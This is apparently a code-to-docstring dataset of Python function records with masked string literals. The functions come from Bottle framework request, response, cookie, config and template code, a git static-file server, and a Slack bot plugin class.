{"signature": "def __setitem__(self, key, value):", "body": "if self.environ.get('<STR_LIT>'):<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>self.environ[key] = value<EOL>todelete = ()<EOL>if key == '<STR_LIT>':<EOL><INDENT>todelete = ('<STR_LIT:body>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>todelete = ('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>elif key.startswith('<STR_LIT>'):<EOL><INDENT>todelete = ('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>for key in todelete:<EOL><INDENT>self.environ.pop('<STR_LIT>' + key, None)<EOL><DEDENT>", "docstring": "Change an environ value and clear all caches that depend on it.", "id": "f12971:c12:m42"}
{"signature": "def __getattr__(self, name):", "body": "try:<EOL><INDENT>var = self.environ['<STR_LIT>' % name]<EOL>return var.__get__(self) if hasattr(var, '<STR_LIT>') else var<EOL><DEDENT>except KeyError:<EOL><INDENT>raise AttributeError('<STR_LIT>' % name)<EOL><DEDENT>", "docstring": "Search in self.environ for additional user defined attributes.", "id": "f12971:c12:m44"}
{"signature": "def copy(self, cls=None):", "body": "cls = cls or BaseResponse<EOL>assert issubclass(cls, BaseResponse)<EOL>copy = cls()<EOL>copy.status = self.status<EOL>copy._headers = dict((k, v[:]) for (k, v) in self._headers.items())<EOL>if self._cookies:<EOL><INDENT>copy._cookies = SimpleCookie()<EOL>copy._cookies.load(self._cookies.output(header='<STR_LIT>'))<EOL><DEDENT>return copy<EOL>", "docstring": "Returns a copy of self.", "id": "f12971:c14:m1"}
{"signature": "@property<EOL><INDENT>def status_line(self):<DEDENT>", "body": "return self._status_line<EOL>", "docstring": "The HTTP status line as a string (e.g. ``404 Not Found``).", "id": "f12971:c14:m4"}
{"signature": "@property<EOL><INDENT>def status_code(self):<DEDENT>", "body": "return self._status_code<EOL>", "docstring": "The HTTP status code as an integer (e.g. 404).", "id": "f12971:c14:m5"}
{"signature": "@property<EOL><INDENT>def headers(self):<DEDENT>", "body": "hdict = HeaderDict()<EOL>hdict.dict = self._headers<EOL>return hdict<EOL>", "docstring": "An instance of :class:`HeaderDict`, a case-insensitive dict-like\n            view on the response headers.", "id": "f12971:c14:m8"}
{"signature": "def get_header(self, name, default=None):", "body": "return self._headers.get(_hkey(name), [default])[-<NUM_LIT:1>]<EOL>", "docstring": "Return the value of a previously defined header. If there is no\n            header with that name, return a default value.", "id": "f12971:c14:m13"}
{"signature": "def set_header(self, name, value):", "body": "self._headers[_hkey(name)] = [value if isinstance(value, unicode)<EOL>else str(value)]<EOL>", "docstring": "Create a new response header, replacing any previously defined\n            headers with the same name.", "id": "f12971:c14:m14"}
{"signature": "def add_header(self, name, value):", "body": "self._headers.setdefault(_hkey(name), []).append(<EOL>value if isinstance(value, unicode) else str(value))<EOL>", "docstring": "Add an additional response header, not removing duplicates.", "id": "f12971:c14:m15"}
{"signature": "def iter_headers(self):", "body": "return self.headerlist<EOL>", "docstring": "Yield (header, value) tuples, skipping headers that are not\n            allowed with the current response status code.", "id": "f12971:c14:m16"}
{"signature": "@property<EOL><INDENT>def headerlist(self):<DEDENT>", "body": "out = []<EOL>headers = list(self._headers.items())<EOL>if '<STR_LIT:Content-Type>' not in self._headers:<EOL><INDENT>headers.append(('<STR_LIT:Content-Type>', [self.default_content_type]))<EOL><DEDENT>if self._status_code in self.bad_headers:<EOL><INDENT>bad_headers = self.bad_headers[self._status_code]<EOL>headers = [h for h in headers if h[<NUM_LIT:0>] not in bad_headers]<EOL><DEDENT>out += [(name, val) for (name, vals) in headers for val in vals]<EOL>if self._cookies:<EOL><INDENT>for c in self._cookies.values():<EOL><INDENT>out.append(('<STR_LIT>', c.OutputString()))<EOL><DEDENT><DEDENT>if py3k:<EOL><INDENT>return [(k, v.encode('<STR_LIT:utf8>').decode('<STR_LIT>')) for (k, v) in out]<EOL><DEDENT>else:<EOL><INDENT>return [(k, v.encode('<STR_LIT:utf8>') if isinstance(v, unicode) else v)<EOL>for (k, v) in out]<EOL><DEDENT>", "docstring": "WSGI conform list of (header, value) tuples.", "id": "f12971:c14:m17"}
{"signature": "@property<EOL><INDENT>def charset(self, default='<STR_LIT>'):<DEDENT>", "body": "if '<STR_LIT>' in self.content_type:<EOL><INDENT>return self.content_type.split('<STR_LIT>')[-<NUM_LIT:1>].split('<STR_LIT:;>')[<NUM_LIT:0>].strip()<EOL><DEDENT>return default<EOL>", "docstring": "Return the charset specified in the content-type header (default: utf8).", "id": "f12971:c14:m18"}
{"signature": "def set_cookie(self, name, value, secret=None, **options):", "body": "if not self._cookies:<EOL><INDENT>self._cookies = SimpleCookie()<EOL><DEDENT>if secret:<EOL><INDENT>value = touni(cookie_encode((name, value), secret))<EOL><DEDENT>elif not isinstance(value, basestring):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>if len(value) > <NUM_LIT>: raise ValueError('<STR_LIT>')<EOL>self._cookies[name] = value<EOL>for key, value in options.items():<EOL><INDENT>if key == '<STR_LIT>':<EOL><INDENT>if isinstance(value, timedelta):<EOL><INDENT>value = value.seconds + value.days * <NUM_LIT> * <NUM_LIT><EOL><DEDENT><DEDENT>if key == '<STR_LIT>':<EOL><INDENT>if isinstance(value, (datedate, datetime)):<EOL><INDENT>value = value.timetuple()<EOL><DEDENT>elif isinstance(value, (int, float)):<EOL><INDENT>value = time.gmtime(value)<EOL><DEDENT>value = time.strftime(\"<STR_LIT>\", value)<EOL><DEDENT>self._cookies[name][key.replace('<STR_LIT:_>', '<STR_LIT:->')] = value<EOL><DEDENT>", "docstring": "Create a new cookie or replace an old one. If the `secret` parameter is\n            set, create a `Signed Cookie` (described below).\n\n            :param name: the name of the cookie.\n            :param value: the value of the cookie.\n            :param secret: a signature key required for signed cookies.\n\n            Additionally, this method accepts all RFC 2109 attributes that are\n            supported by :class:`cookie.Morsel`, including:\n\n            :param max_age: maximum age in seconds. (default: None)\n            :param expires: a datetime object or UNIX timestamp. (default: None)\n            :param domain: the domain that is allowed to read the cookie.\n              (default: current domain)\n            :param path: limits the cookie to a given path (default: current path)\n            :param secure: limit the cookie to HTTPS connections (default: off).\n            :param httponly: prevents client-side javascript to read this cookie\n              (default: off, requires Python 2.6 or newer).\n\n            If neither `expires` nor `max_age` is set (default), the cookie will\n            expire at the end of the browser session (as soon as the browser\n            window is closed).\n\n            Signed cookies may store any pickle-able object and are\n            cryptographically signed to prevent manipulation. Keep in mind that\n            cookies are limited to 4kb in most browsers.\n\n            Warning: Signed cookies are not encrypted (the client can still see\n            the content) and not copy-protected (the client can restore an old\n            cookie). The main intention is to make pickling and unpickling\n            save, not to store secret information at client side.", "id": "f12971:c14:m19"}
{"signature": "def delete_cookie(self, key, **kwargs):", "body": "kwargs['<STR_LIT>'] = -<NUM_LIT:1><EOL>kwargs['<STR_LIT>'] = <NUM_LIT:0><EOL>self.set_cookie(key, '<STR_LIT>', **kwargs)<EOL>", "docstring": "Delete a cookie. Be sure to use the same `domain` and `path`\n            settings as used to create the cookie.", "id": "f12971:c14:m20"}
{"signature": "def __init__(self, name, impmask):", "body": "self.name = name<EOL>self.impmask = impmask<EOL>self.module = sys.modules.setdefault(name, imp.new_module(name))<EOL>self.module.__dict__.update({<EOL>'<STR_LIT>': __file__,<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT>': self<EOL>})<EOL>sys.meta_path.append(self)<EOL>", "docstring": "Create a virtual package that redirects imports (see PEP 302).", "id": "f12971:c22:m0"}
{"signature": "def get(self, key, default=None, index=-<NUM_LIT:1>, type=None):", "body": "try:<EOL><INDENT>val = self.dict[key][index]<EOL>return type(val) if type else val<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT>return default<EOL>", "docstring": "Return the most recent value for a key.\n\n            :param default: The default value to be returned if the key is not\n                   present or the type conversion fails.\n            :param index: An index for the list of available values.\n            :param type: If defined, this callable is used to cast the value\n                    into a specific type. Exception are suppressed and result in\n                    the default value to be returned.", "id": "f12971:c23:m8"}
{"signature": "def append(self, key, value):", "body": "self.dict.setdefault(key, []).append(value)<EOL>", "docstring": "Add a new value to the list of values for this key.", "id": "f12971:c23:m9"}
{"signature": "def replace(self, key, value):", "body": "self.dict[key] = [value]<EOL>", "docstring": "Replace the list of values with a single value.", "id": "f12971:c23:m10"}
{"signature": "def getall(self, key):", "body": "return self.dict.get(key) or []<EOL>", "docstring": "Return a (possibly empty) list of values for a key.", "id": "f12971:c23:m11"}
{"signature": "def decode(self, encoding=None):", "body": "copy = FormsDict()<EOL>enc = copy.input_encoding = encoding or self.input_encoding<EOL>copy.recode_unicode = False<EOL>for key, value in self.allitems():<EOL><INDENT>copy.append(self._fix(key, enc), self._fix(value, enc))<EOL><DEDENT>return copy<EOL>", "docstring": "Returns a copy with all keys and values de- or recoded to match\n            :attr:`input_encoding`. Some libraries (e.g. WTForms) want a\n            unicode dictionary.", "id": "f12971:c24:m1"}
{"signature": "def getunicode(self, name, default=None, encoding=None):", "body": "try:<EOL><INDENT>return self._fix(self[name], encoding)<EOL><DEDENT>except (UnicodeError, KeyError):<EOL><INDENT>return default<EOL><DEDENT>", "docstring": "Return the value as a unicode string, or the default.", "id": "f12971:c24:m2"}
{"signature": "def _ekey(self, key):", "body": "key = key.replace('<STR_LIT:->', '<STR_LIT:_>').upper()<EOL>if key in self.cgikeys:<EOL><INDENT>return key<EOL><DEDENT>return '<STR_LIT>' + key<EOL>", "docstring": "Translate header field name to CGI/WSGI environ key.", "id": "f12971:c26:m1"}
{"signature": "def raw(self, key, default=None):", "body": "return self.environ.get(self._ekey(key), default)<EOL>", "docstring": "Return the header value as is (may be bytes or unicode).", "id": "f12971:c26:m2"}
{"signature": "def load_config(self, filename):", "body": "conf = ConfigParser()<EOL>conf.read(filename)<EOL>for section in conf.sections():<EOL><INDENT>for key, value in conf.items(section):<EOL><INDENT>if section not in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>key = section + '<STR_LIT:.>' + key<EOL><DEDENT>self[key] = value<EOL><DEDENT><DEDENT>return self<EOL>", "docstring": "Load values from an ``*.ini`` style config file.\n\n            If the config file contains sections, their names are used as\n            namespaces for the values within. The two special sections\n            ``DEFAULT`` and ``bottle`` refer to the root namespace (no prefix).", "id": "f12971:c27:m1"}
{"signature": "def load_dict(self, source, namespace='<STR_LIT>'):", "body": "for key, value in source.items():<EOL><INDENT>if isinstance(key, str):<EOL><INDENT>nskey = (namespace + '<STR_LIT:.>' + key).strip('<STR_LIT:.>')<EOL>if isinstance(value, dict):<EOL><INDENT>self.load_dict(value, namespace=nskey)<EOL><DEDENT>else:<EOL><INDENT>self[nskey] = value<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError('<STR_LIT>' % type(key))<EOL><DEDENT><DEDENT>return self<EOL>", "docstring": "Load values from a dictionary structure. Nesting can be used to\n            represent namespaces.\n\n            >>> c = ConfigDict()\n            >>> c.load_dict({'some': {'namespace': {'key': 'value'} } })\n            {'some.namespace.key': 'value'}", "id": "f12971:c27:m2"}
{"signature": "def update(self, *a, **ka):", "body": "prefix = '<STR_LIT>'<EOL>if a and isinstance(a[<NUM_LIT:0>], str):<EOL><INDENT>prefix = a[<NUM_LIT:0>].strip('<STR_LIT:.>') + '<STR_LIT:.>'<EOL>a = a[<NUM_LIT:1>:]<EOL><DEDENT>for key, value in dict(*a, **ka).items():<EOL><INDENT>self[prefix + key] = value<EOL><DEDENT>", "docstring": "If the first parameter is a string, all keys are prefixed with this\n            namespace. Apart from that it works just as the usual dict.update().\n            Example: ``update('some.namespace', key='value')``", "id": "f12971:c27:m3"}
{"signature": "def meta_get(self, key, metafield, default=None):", "body": "return self._meta.get(key, {}).get(metafield, default)<EOL>", "docstring": "Return the value of a meta field for a key.", "id": "f12971:c27:m7"}
{"signature": "def meta_set(self, key, metafield, value):", "body": "self._meta.setdefault(key, {})[metafield] = value<EOL>if key in self:<EOL><INDENT>self[key] = self[key]<EOL><DEDENT>", "docstring": "Set the meta field for a key to a new value. This triggers the\n            on-change handler for existing keys.", "id": "f12971:c27:m8"}
{"signature": "def meta_list(self, key):", "body": "return self._meta.get(key, {}).keys()<EOL>", "docstring": "Return an iterable of meta field names defined for a key.", "id": "f12971:c27:m9"}
{"signature": "def __call__(self):", "body": "return self[-<NUM_LIT:1>]<EOL>", "docstring": "Return the current default application.", "id": "f12971:c28:m0"}
{"signature": "def push(self, value=None):", "body": "if not isinstance(value, Bottle):<EOL><INDENT>value = Bottle()<EOL><DEDENT>self.append(value)<EOL>return value<EOL>", "docstring": "Add a new :class:`Bottle` instance to the stack", "id": "f12971:c28:m1"}
{"signature": "def add_path(self, path, base=None, index=None, create=False):", "body": "base = os.path.abspath(os.path.dirname(base or self.base))<EOL>path = os.path.abspath(os.path.join(base, os.path.dirname(path)))<EOL>path += os.sep<EOL>if path in self.path:<EOL><INDENT>self.path.remove(path)<EOL><DEDENT>if create and not os.path.isdir(path):<EOL><INDENT>os.makedirs(path)<EOL><DEDENT>if index is None:<EOL><INDENT>self.path.append(path)<EOL><DEDENT>else:<EOL><INDENT>self.path.insert(index, path)<EOL><DEDENT>self.cache.clear()<EOL>return os.path.exists(path)<EOL>", "docstring": "Add a new path to the list of search paths. Return False if the\n            path does not exist.\n\n            :param path: The new search path. Relative paths are turned into\n                an absolute and normalized form. If the path looks like a file\n                (not ending in `/`), the filename is stripped off.\n            :param base: Path used to absolutize relative search paths.\n                Defaults to :attr:`base` which defaults to ``os.getcwd()``.\n            :param index: Position within the list of search paths. Defaults\n                to last index (appends to the list).\n\n            The `base` parameter makes it easy to reference files installed\n            along with a python module or package::\n\n                res.add_path('./resources/', __file__)", "id": "f12971:c31:m1"}
{"signature": "def __iter__(self):", "body": "search = self.path[:]<EOL>while search:<EOL><INDENT>path = search.pop()<EOL>if not os.path.isdir(path): continue<EOL>for name in os.listdir(path):<EOL><INDENT>full = os.path.join(path, name)<EOL>if os.path.isdir(full): search.append(full)<EOL>else: yield full<EOL><DEDENT><DEDENT>", "docstring": "Iterate over all existing files in all registered paths.", "id": "f12971:c31:m2"}
{"signature": "def lookup(self, name):", "body": "if name not in self.cache or DEBUG:<EOL><INDENT>for path in self.path:<EOL><INDENT>fpath = os.path.join(path, name)<EOL>if os.path.isfile(fpath):<EOL><INDENT>if self.cachemode in ('<STR_LIT:all>', '<STR_LIT>'):<EOL><INDENT>self.cache[name] = fpath<EOL><DEDENT>return fpath<EOL><DEDENT><DEDENT>if self.cachemode == '<STR_LIT:all>':<EOL><INDENT>self.cache[name] = None<EOL><DEDENT><DEDENT>return self.cache[name]<EOL>", "docstring": "Search for a resource and return an absolute file path, or `None`.\n\n            The :attr:`path` list is searched in order. The first match is\n            returend. Symlinks are followed. The result is cached to speed up\n            future lookups.", "id": "f12971:c31:m3"}
{"signature": "def open(self, name, mode='<STR_LIT:r>', *args, **kwargs):", "body": "fname = self.lookup(name)<EOL>if not fname: raise IOError(\"<STR_LIT>\" % name)<EOL>return self.opener(fname, mode=mode, *args, **kwargs)<EOL>", "docstring": "Find a resource and return a file object, or raise IOError.", "id": "f12971:c31:m4"}
{"signature": "def __init__(self, fileobj, name, filename, headers=None):", "body": "<EOL>self.file = fileobj<EOL>self.name = name<EOL>self.raw_filename = filename<EOL>self.headers = HeaderDict(headers) if headers else HeaderDict()<EOL>", "docstring": "Wrapper for file uploads.", "id": "f12971:c32:m0"}
{"signature": "@cached_property<EOL><INDENT>def filename(self):<DEDENT>", "body": "fname = self.raw_filename<EOL>if not isinstance(fname, unicode):<EOL><INDENT>fname = fname.decode('<STR_LIT:utf8>', '<STR_LIT:ignore>')<EOL><DEDENT>fname = normalize('<STR_LIT>', fname)<EOL>fname = fname.encode('<STR_LIT>', '<STR_LIT:ignore>').decode('<STR_LIT>')<EOL>fname = os.path.basename(fname.replace('<STR_LIT:\\\\>', os.path.sep))<EOL>fname = re.sub(r'<STR_LIT>', '<STR_LIT>', fname).strip()<EOL>fname = re.sub(r'<STR_LIT>', '<STR_LIT:->', fname).strip('<STR_LIT>')<EOL>return fname[:<NUM_LIT:255>] or '<STR_LIT>'<EOL>", "docstring": "Name of the file on the client file system, but normalized to ensure\n            file system compatibility. An empty filename is returned as 'empty'.\n\n            Only ASCII letters, digits, dashes, underscores and dots are\n            allowed in the final filename. Accents are removed, if possible.\n            Whitespace is replaced by a single dash. Leading or tailing dots\n            or dashes are removed. The filename is limited to 255 characters.", "id": "f12971:c32:m1"}
{"signature": "def save(self, destination, overwrite=False, chunk_size=<NUM_LIT:2> ** <NUM_LIT:16>):", "body": "if isinstance(destination, basestring):  <EOL><INDENT>if os.path.isdir(destination):<EOL><INDENT>destination = os.path.join(destination, self.filename)<EOL><DEDENT>if not overwrite and os.path.exists(destination):<EOL><INDENT>raise IOError('<STR_LIT>')<EOL><DEDENT>with open(destination, '<STR_LIT:wb>') as fp:<EOL><INDENT>self._copy_file(fp, chunk_size)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self._copy_file(destination, chunk_size)<EOL><DEDENT>", "docstring": "Save file to disk or copy its content to an open file(-like) object.\n            If *destination* is a directory, :attr:`filename` is added to the\n            path. Existing files are not overwritten by default (IOError).\n\n            :param destination: File path, directory or file(-like) object.\n            :param overwrite: If True, replace existing files. (default: False)\n            :param chunk_size: Bytes to read at a time. (default: 64kb)", "id": "f12971:c32:m3"}
{"signature": "def __init__(self,<EOL>source=None,<EOL>name=None,<EOL>lookup=None,<EOL>encoding='<STR_LIT:utf8>', **settings):", "body": "self.name = name<EOL>self.source = source.read() if hasattr(source, '<STR_LIT>') else source<EOL>self.filename = source.filename if hasattr(source, '<STR_LIT:filename>') else None<EOL>self.lookup = [os.path.abspath(x) for x in lookup] if lookup else []<EOL>self.encoding = encoding<EOL>self.settings = self.settings.copy()  <EOL>self.settings.update(settings)  <EOL>if not self.source and self.name:<EOL><INDENT>self.filename = self.search(self.name, self.lookup)<EOL>if not self.filename:<EOL><INDENT>raise TemplateError('<STR_LIT>' % repr(name))<EOL><DEDENT><DEDENT>if not self.source and not self.filename:<EOL><INDENT>raise TemplateError('<STR_LIT>')<EOL><DEDENT>self.prepare(**self.settings)<EOL>", "docstring": "Create a new template.\n        If the source parameter (str or buffer) is missing, the name argument\n        is used to guess a template filename. Subclasses can assume that\n        self.source and/or self.filename are set. Both are strings.\n        The lookup, encoding and settings parameters are stored as instance\n        variables.\n        The lookup parameter stores a list containing directory paths.\n        The encoding parameter should be used to decode byte strings or files.\n        The settings parameter contains a dict for engine-specific settings.", "id": "f12971:c56:m0"}
{"signature": "@classmethod<EOL><INDENT>def search(cls, name, lookup=None):<DEDENT>", "body": "if not lookup:<EOL><INDENT>depr('<STR_LIT>',<EOL>True)  <EOL>lookup = ['<STR_LIT:.>']<EOL><DEDENT>if os.path.isabs(name) and os.path.isfile(name):<EOL><INDENT>depr('<STR_LIT>', True)  <EOL>return os.path.abspath(name)<EOL><DEDENT>for spath in lookup:<EOL><INDENT>spath = os.path.abspath(spath) + os.sep<EOL>fname = os.path.abspath(os.path.join(spath, name))<EOL>if not fname.startswith(spath): continue<EOL>if os.path.isfile(fname): return fname<EOL>for ext in cls.extensions:<EOL><INDENT>if os.path.isfile('<STR_LIT>' % (fname, ext)):<EOL><INDENT>return '<STR_LIT>' % (fname, ext)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Search name in all directories specified in lookup.\n        First without, then with common extensions. Return first hit.", "id": "f12971:c56:m1"}
{"signature": "@classmethod<EOL><INDENT>def global_config(cls, key, *args):<DEDENT>", "body": "if args:<EOL><INDENT>cls.settings = cls.settings.copy()  <EOL>cls.settings[key] = args[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>return cls.settings[key]<EOL><DEDENT>", "docstring": "This reads or sets the global settings stored in class.settings.", "id": "f12971:c56:m2"}
{"signature": "def prepare(self, **options):", "body": "raise NotImplementedError<EOL>", "docstring": "Run preparations (parsing, caching, ...).\n        It should be possible to call this again to refresh a template or to\n        update settings.", "id": "f12971:c56:m3"}
{"signature": "def render(self, *args, **kwargs):", "body": "raise NotImplementedError<EOL>", "docstring": "Render the template with the specified local variables and return\n        a single byte or unicode string. If it is a byte string, the encoding\n        must match self.encoding. This method must be thread-safe!\n        Local variables may be provided in dictionaries (args)\n        or directly, as keywords (kwargs).", "id": "f12971:c56:m4"}
{"signature": "def render(self, *args, **kwargs):", "body": "env = {}<EOL>stdout = []<EOL>for dictarg in args:<EOL><INDENT>env.update(dictarg)<EOL><DEDENT>env.update(kwargs)<EOL>self.execute(stdout, env)<EOL>return '<STR_LIT>'.join(stdout)<EOL>", "docstring": "Render the template using keyword arguments as local variables.", "id": "f12971:c60:m6"}
{"signature": "def get_syntax(self):", "body": "return self._syntax<EOL>", "docstring": "Tokens as a space separated string (default: <% %> % {{ }})", "id": "f12971:c62:m1"}
{"signature": "def pathjoin(*args, **kwargs):", "body": "log.debug('<STR_LIT>' % list(args))<EOL>def _pathjoin(*args, **kwargs):<EOL><INDENT>len_ = len(args) - <NUM_LIT:1><EOL>if len_ < <NUM_LIT:0>:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>elif len_ == <NUM_LIT:0>:<EOL><INDENT>if not isinstance(args, basestring):<EOL><INDENT>if hasattr(args, '<STR_LIT>'):<EOL><INDENT>_args = args<EOL>_args<EOL>args = args[<NUM_LIT:0>]<EOL><DEDENT><DEDENT><DEDENT>for i, arg in enumerate(args):<EOL><INDENT>if not i:<EOL><INDENT>yield arg.rstrip('<STR_LIT:/>')<EOL><DEDENT>elif i == len_:<EOL><INDENT>yield arg.lstrip('<STR_LIT:/>')<EOL><DEDENT>else:<EOL><INDENT>yield arg.strip('<STR_LIT:/>')<EOL><DEDENT><DEDENT><DEDENT>joined_path = u'<STR_LIT:/>'.join(_pathjoin(*args))<EOL>return sanitize_path(joined_path)<EOL>", "docstring": "Arguments:\n    args (list): *args list of paths\n        if len(args) == 1, args[0] is not a string, and args[0] is iterable,\n        set args to args[0].\n\nBasically::\n\n    joined_path = u'/'.join(\n        [args[0].rstrip('/')] +\n        [a.strip('/') for a in args[1:-1]] +\n        [args[-1].lstrip('/')])", "id": "f12972:m0"}
{"signature": "def rewrite_path(FS, _path):", "body": "path = sanitize_path(_path)<EOL>log.debug('<STR_LIT>' % path)<EOL>if FS.exists(path):<EOL><INDENT>if FS.isdir(path):<EOL><INDENT>dir_index_html_path = pathjoin(path, '<STR_LIT>')<EOL>if (FS.exists(dir_index_html_path)<EOL>and FS.isfile(dir_index_html_path)):<EOL><INDENT>path = dir_index_html_path<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>if not (path.endswith('<STR_LIT:/>') or path.endswith('<STR_LIT>')):<EOL><INDENT>path_dot_html = path + \"<STR_LIT>\"<EOL>if FS.exists(path_dot_html) and FS.isfile(path_dot_html):<EOL><INDENT>path = path_dot_html<EOL><DEDENT><DEDENT><DEDENT>return path<EOL>", "docstring": "Args:\n    _path (str): path to rewrite (in search of index.html)\n    root_path (str): filesystem root_path", "id": "f12972:m6"}
{"signature": "def generate_dirlist_html(FS, filepath):", "body": "yield '<STR_LIT>'<EOL>if filepath == '<STR_LIT:/>':<EOL><INDENT>filepath = '<STR_LIT>'<EOL><DEDENT>for name in FS.listdir(filepath):<EOL><INDENT>full_path = pathjoin(filepath, name)<EOL>if FS.isdir(full_path):<EOL><INDENT>full_path = full_path + '<STR_LIT:/>'<EOL><DEDENT>yield u'<STR_LIT>'.format(<EOL>cgi.escape(full_path))  <EOL><DEDENT>yield '<STR_LIT>'<EOL>", "docstring": "Generate directory listing HTML\n\nArguments:\n    FS (FS): filesystem object to read files from\n    filepath (str): path to generate directory listings for\n\nKeyword Arguments:\n    list_dir (callable: list[str]): list file names in a directory\n    isdir (callable: bool): os.path.isdir\n\nYields:\n    str: lines of an HTML table", "id": "f12972:m7"}
{"signature": "def git_static_file(filename,<EOL>mimetype='<STR_LIT>',<EOL>download=False,<EOL>charset='<STR_LIT>'):", "body": "<EOL>filename = filename.strip('<STR_LIT>')<EOL>headers = dict()<EOL>FS = request.app.config['<STR_LIT>']<EOL>if not FS.exists(filename):<EOL><INDENT>return HTTPError(<NUM_LIT>, \"<STR_LIT>\")<EOL><DEDENT>if mimetype == '<STR_LIT>':<EOL><INDENT>if download and download is not True:<EOL><INDENT>mimetype, encoding = mimetypes.guess_type(download)<EOL><DEDENT>else:<EOL><INDENT>mimetype, encoding = mimetypes.guess_type(filename)<EOL><DEDENT>if encoding:<EOL><INDENT>headers['<STR_LIT>'] = encoding<EOL><DEDENT><DEDENT>if mimetype:<EOL><INDENT>if mimetype[:<NUM_LIT:5>] == '<STR_LIT>' and charset and '<STR_LIT>' not in mimetype:<EOL><INDENT>mimetype += '<STR_LIT>' % charset<EOL><DEDENT>headers['<STR_LIT:Content-Type>'] = mimetype<EOL><DEDENT>if download:<EOL><INDENT>download = os.path.basename(filename if download else download)<EOL>headers['<STR_LIT>'] = '<STR_LIT>' % download<EOL><DEDENT>info = FS.getinfo(filename)<EOL>headers['<STR_LIT>'] = clen = info['<STR_LIT:size>']<EOL>lm = time.strftime(\"<STR_LIT>\",<EOL>time.gmtime(info['<STR_LIT>']))<EOL>headers['<STR_LIT>'] = lm<EOL>ims = request.environ.get('<STR_LIT>')<EOL>if ims:<EOL><INDENT>ims = parse_date(ims.split(\"<STR_LIT:;>\")[<NUM_LIT:0>].strip())<EOL><DEDENT>mtime = info['<STR_LIT>']<EOL>if mtime and ims is not None and ims >= int(mtime):<EOL><INDENT>headers['<STR_LIT>'] = time.strftime(\"<STR_LIT>\",<EOL>time.gmtime())<EOL>return HTTPResponse(status=<NUM_LIT>, **headers)<EOL><DEDENT>body = '<STR_LIT>' if request.method == '<STR_LIT>' else FS.get_fileobj(filename)<EOL>clen<EOL>return HTTPResponse(body, **headers)<EOL>", "docstring": "This method is derived from bottle.static_file:\n\n        Open [a file] and return :exc:`HTTPResponse` with status\n        code 200, 305, 403 or 404. The ``Content-Type``, ``Content-Encoding``,\n        ``Content-Length`` and ``Last-Modified`` headers are set if possible.\n        Special support for ``If-Modified-Since`` [...].\n\n        :param filename: Name or path of the file to send.\n        :param mimetype: Defines the content-type header (default: guess from\n            file extension)\n        :param download: If True, ask the browser to open a `Save as...` dialog\n            instead of opening the file with the associated program. You can\n            specify a custom filename as a string. If not specified, the\n            original filename is used (default: False).\n        :param charset: The charset to use for files with a ``text/*``\n            mime-type. (default: UTF-8)", "id": "f12972:m11"}
{"signature": "def exists(self, path):", "body": "", "docstring": "TODO", "id": "f12972:c2:m1"}
{"signature": "def isdir(self, path):", "body": "", "docstring": "TODO", "id": "f12972:c2:m2"}
{"signature": "def isfile(self, path):", "body": "", "docstring": "TODO", "id": "f12972:c2:m3"}
{"signature": "def on_load(self):", "body": "return True<EOL>", "docstring": "Executes when a plugin is loaded.\n\nOverride this if your plugin needs to do initialization when loading.\nDo not use this to restore runtime changes to variables -- they will be overwritten later on by\nPluginManager.load_state()", "id": "f12990:c0:m1"}
{"signature": "def on_unload(self):", "body": "return True<EOL>", "docstring": "(Not Implemented Yet) Executes when a plugin is unloaded.\n\nOverride this if your plugin needs to do cleanup when unloading.", "id": "f12990:c0:m2"}
{"signature": "def on_connect(self):", "body": "return True<EOL>", "docstring": "Executes immediately after connecting to slack.\n\nWill not fire on reconnects.", "id": "f12990:c0:m3"}
{"signature": "def send_message(self, channel, text):", "body": "if isinstance(channel, SlackIM) or isinstance(channel, SlackUser):<EOL><INDENT>self._bot.send_im(channel, text)<EOL><DEDENT>elif isinstance(channel, SlackRoom):<EOL><INDENT>self._bot.send_message(channel, text)<EOL><DEDENT>elif isinstance(channel, basestring):<EOL><INDENT>if channel[<NUM_LIT:0>] == '<STR_LIT:@>':<EOL><INDENT>self._bot.send_im(channel[<NUM_LIT:1>:], text)<EOL><DEDENT>elif channel[<NUM_LIT:0>] == '<STR_LIT:#>':<EOL><INDENT>self._bot.send_message(channel[<NUM_LIT:1>:], text)<EOL><DEDENT>else:<EOL><INDENT>self._bot.send_message(channel, text)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self._bot.send_message(channel, text)<EOL><DEDENT>", "docstring": "Used to send a message to the specified channel.\n\n* channel - can be a channel or user\n* text - message to send", "id": "f12990:c0:m4"}
{"signature": "def start_timer(self, duration, func, *args):", "body": "t = threading.Timer(duration, self._timer_callback, (func, args))<EOL>self._timer_callbacks[func] = t<EOL>t.start()<EOL>self.log.info(\"<STR_LIT>\", func.__name__, duration)<EOL>", "docstring": "Schedules a function to be called after some period of time.\n\n* duration - time in seconds to wait before firing\n* func - function to be called\n* args - arguments to pass to the function", "id": "f12990:c0:m5"}
{"signature": "def stop_timer(self, func):", "body": "if func in self._timer_callbacks:<EOL><INDENT>t = self._timer_callbacks[func]<EOL>t.cancel()<EOL>del self._timer_callbacks[func]<EOL><DEDENT>", "docstring": "Stops a timer if it hasn't fired yet\n\n* func - the function passed in start_timer", "id": "f12990:c0:m6"}
{"signature": "def get_user(self, username):", "body": "if hasattr(self._bot, '<STR_LIT>'):<EOL><INDENT>user = self._bot.user_manager.get_by_username(username)<EOL>if user:<EOL><INDENT>return user<EOL><DEDENT>user = SlackUser.get_user(self._bot.sc, username)<EOL>self._bot.user_manager.set(user)<EOL>return user<EOL><DEDENT>return SlackUser.get_user(self._bot.sc, username)<EOL>", "docstring": "Utility function to query slack for a particular user\n\n:param username: The username of the user to lookup\n:return: SlackUser object or None", "id": "f12990:c0:m8"}
